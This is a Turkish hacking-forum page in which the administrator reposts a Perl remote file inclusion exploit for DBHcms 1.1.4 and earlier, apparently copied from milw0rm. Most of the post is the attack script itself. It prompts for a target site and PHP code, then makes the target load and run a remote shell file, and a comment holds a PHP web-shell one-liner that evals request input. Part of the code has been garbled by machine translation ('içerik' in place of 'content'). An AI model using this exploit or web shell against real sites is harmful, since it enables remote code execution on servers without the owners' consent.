X



Konu Bilgileri
Konu Başlığı
DBHcms <= 1.1.4 Remote File Inclusion exploit
Konudaki Cevap Sayısı
0
Konuyu Açan Kişi
M i r z A
Görüntülenme Sayısı
21





Mesaj Önizleme  Konuyu Gönder 
DBHcms <= 1.1.4 Remote File Inclusion exploit
Yazar Mesaj
M i r z A
EngLisH TeaCHeR
Administrators

Üye No: 1
Katılım: Jun 2006
Yer: French
Mesajlar: 10,023
Grup: Administrators
Durum Çevrimdışı

Rep Ver :
Rep Puanı : 131
Ruh Hali
asik

MSN araciligi ile mesaj yolla Yahoo araciligi ile mesaj yolla ICQ araciligi ile mesaj yolla AIM araciligi ile mesaj yolla




Mesaj: #1
DBHcms <= 1.1.4 Remote File Inclusion exploit

PHP Kodu:
#!/usr/bin/perl
#    DBHcms <= 1.1.4 Remote File Inclusion exploit
#    Vendor url: www.drbenhur.com
#
# exploit is hard to execute through a browser -possible though- since it's with POST
#                            ~Iron
#                            http://www.randombase.com
require LWP::UserAgent;
#Shell:
# <?php if(!empty($_GET['do'])){eval($_GET['do']);}
?>
$shell_url = "http://localhost/s.txt";

print "#
#  DBHcms <= 1.1.4 Remote File Inclusion exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group
#
# Example target url: http://www.target.com/dhbcms/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
    $target = "http://".$target;
}
if($target !~ /\/$/)
{
    $target .= "/";
}
print "PHP code to evaluate? ";
chomp($code=<stdin>);
$code =~ s/(<\?php|\?>|<\?)//ig;
$target .= "dbhcms/mod/mod.extmanager.php?do=".$code;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->post($target,
{
'extmanager_install' => $shell_url.'?'
});

if ($response->is_success)
{
    print "\n"."#" x 20 ."\n";
    if($response->içerik =~ /URL file-access/)
    {
        print 'Exploit failed';
    }
    else
    {
        print $response->içerik;
    }
    print "\n"."#" x 20 ."\n";
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-02-25] 



Bak Dagıttın Yıktın İşte Tekrar
Aldın Elimden Sessizliğimi ,
Bir kez susmuştum senin için
Ve bir kez daha ,
Çaldın işte tek mirasımı
Mutlusun Biliyorum, Gelmesende
Ben bu sefer Zamklıyorum dudaklarımı suskunluğa yeminle..
Nolur gelme artık git.
Bu sefer ben seni istemiyorum İstanbul !
26-02-2008 19:17:33 PM
Kullanıcının websitesini ziyaret et Bu kullanıcının gönderdiği mesajları bul Bu mesajı bir cevapta alıntı yap
Mesaj Önizleme  Konuyu Gönder 

Benzer Konular...
Konu: Yazar Cevaplar: Gösterim: Son Mesaj
  vBulletin PhotoPost vBGallery v2.x Remote File Uploa M i r z A 0 53 21-07-2008 10:28:09 AM
Son Mesaj: M i r z A
  PHPizabi v0.848b C1 HFP1 Remote Code Execution M i r z A 0 15 21-07-2008 10:26:58 AM
Son Mesaj: M i r z A
  Joomla Component DT Register Remote SQL injection M i r z A 0 35 21-07-2008 10:26:06 AM
Son Mesaj: M i r z A

Yazdırılabilir Bir Versiyona Bak
Bu Konuyu Bir Arkadaşına Gönder
Bu Konuya Abone Ol | Konuyu Favorilerine Ekle

Foruma Git: